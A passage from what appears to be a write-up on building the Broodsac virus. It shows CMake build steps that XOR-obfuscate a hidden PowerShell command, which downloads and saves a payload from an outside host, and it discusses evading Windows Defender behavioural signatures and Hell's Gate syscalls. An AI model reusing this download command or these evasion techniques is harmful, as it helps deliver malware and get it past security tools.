text stringlengths 0 1.99k |
|---|
down by a false positive? Positively embarrassing. |
Anyway, it seemed clear that with the script hint that it was triggering |
on our Powershell one-liner. I didn't even bother to obfuscate the command |
in any way whatsoever, so it's no wonder it got caught in the end. We |
later confirmed thanks to some Windows Defender signature research[5] |
that our download string was absolutely in there, somewhere, so surely |
this was the culprit. This means, now, we would have to obfuscate it. |
Sure, we could just do it one-and-done and hardcode it into the assembly |
files, but where's the fun in that? They'll just flag the encrypted blob |
and call it a day! Where's the flexibility in that? And what if I need to |
change the eventual command entirely? How can I make this as painless as |
possible for me and others who want to transform this code? |
The beauty of a good build system is an ability to humbly offload build |
commands to another process at specific points in the build. Let's look |
at the code in our payloads which encrypts the strings: |
add_custom_command(TARGET infection_asm_64 |
PRE_BUILD |
COMMAND powershell ARGS |
-ExecutionPolicy bypass |
-File "${CMAKE_CURRENT_SOURCE_DIR}/../strings.ps1" |
-payload_program "\\??\\C:\\ProgramData\\sheep.exe" |
-payload_command "sheep" |
-download_program "\\??\\C:\\Windows\\System32\\WindowsPowerShell\ |
\\v1.0\\powershell.exe" |
-download_command "powershell -ExecutionPolicy bypass \ |
-WindowStyle hidden \ |
-Command \"(New-Object System.Net.WebClient).DownloadFile(\ |
'https://amethyst.systems/sheep.dat', 'C:\\ProgramData\\sheep.exe')\"" |
-output "${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>/infection_strings.asm" |
VERBATIM) |
Powershell was chosen simply because it's easier to work with than the |
oldschool CMD. A simple script was created which transformed the many |
strings we needed to encrypt, chooses a random key, then does the |
traditional xor-encrypt on the string. The script produces a NASM include |
file and dumps it into the binary directory of the build system-- |
essentially the catch-all directory for any generated artifacts. We then |
include that directory in the assembler directives so our assembly files |
can see it: |
target_include_directories(infection_asm_64 PUBLIC |
"${CMAKE_CURRENT_SOURCE_DIR}" |
"${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>") |
As creatives whose canvas is questionable machine code, we can no doubt |
see the attractiveness and capability that this brings. If you're really |
feeling saucy, you can even mutate COFF objects and incorporate them with |
specific library configurations via CMake as well! Mucking around with |
object files directly would look something like this: |
add_library(obfuscateme STATIC obfu.c) |
add_custom_command(TARGET obfuscateme |
PRE_LINK COMMAND obfuscate ARGS |
"${CMAKE_CURRENT_BINARY_DIR}/obfuscateme.dir/$<CONFIG>/obfu.obj") |
add_executable(virus main.c) |
target_link_libraries(virus obfuscateme) |
What these simple four lines wind up doing is compiling a set of |
functionality that needs to be obfuscated, calling the obfuscator on our |
compiled object file, which is then reincorporated into our build process |
at the linking stage, then adding the obfuscated code as a library |
dependency of the main virus. Whenever the virus target is called to be |
compiled, the functionality will be obfuscated and incorporated into our |
code automatically. Fundamentally, if you can call an external command to |
generate anything as part of your build process, the sky's the limit with |
what you can incorporate into your program. |
As exciting as the implications of these particular capabilities are, our |
thought to mask the signatures we thought we were hitting on was not |
sufficient. See, as the Defender signature research[5] demonstrates, there |
are multiple types of signatures to deal with, and according to |
DefenderCheck[6] and the slightly more advanced ThreatCheck[7], I was not |
hitting on static signatures. Indeed, digging into the guts of the threat |
names in the defender signature database proved relatively fruitless for |
hints on how to evade-- there was a static signature algorithm that wasn't |
quite coherent on how it was being scanned and, more importantly, a thing |
called a "NID." |
A NID, in this case, appears to identify something within the Network |
Realtime Inspection Service.[8] Probably some sort of metadata information |
about certain behavior. This means our signatures were likely triggering |
on a behavioral signature! How could we get around this? |
Naively, having not run into this before, we threw random shit at the wall |
to see if it worked. Hell's Gate? The Network Realtime Inspection Service |
wasn't exactly an EDR, so naturally, it didn't work. Not to mention, with |
Microsoft's unique position on the Windows landscape (they are the dungeon |
master), attempting to evade EDR just isn't nearly deep enough. But for |
the sake of completeness of potential evasions, it was left in Broodsac's |
payload. (The Hell's Gate implementation consists of direct syscalls, not |
indirect syscalls, so it still could use some work.) |
Fundamentally, a behavioral signature relies on chaining certain actions |
together to declare something as potentially nasty. Let's step through |
what our payload essentially does that could get flagged as potentially |
malicious: |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.